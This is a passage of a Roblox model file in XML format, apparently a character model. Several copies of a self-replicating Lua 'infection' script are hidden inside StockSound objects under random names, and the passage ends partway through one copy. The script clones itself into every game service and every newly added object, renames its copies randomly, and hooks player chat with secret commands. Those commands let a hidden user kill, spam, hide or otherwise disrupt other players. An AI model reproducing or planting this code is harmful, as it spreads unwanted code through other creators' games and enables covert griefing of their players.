if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX229">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">rbxa11</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX230">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">fcybm</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX231">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-11.3195467</X>
							<Y>3.30486917</Y>
							<Z>-8.74786949</Z>
							<R00>-0.313818604</R00>
							<R01>-0.0172081571</R01>
							<R02>-0.949327052</R02>
							<R10>-0.000132629575</R10>
							<R11>0.999836564</R11>
							<R12>-0.0180798844</R12>
							<R20>0.949482977</R20>
							<R21>-0.00554789416</R21>
							<R22>-0.313769609</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX232">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX233">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">nkg9</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX234">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">zbx303ez</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
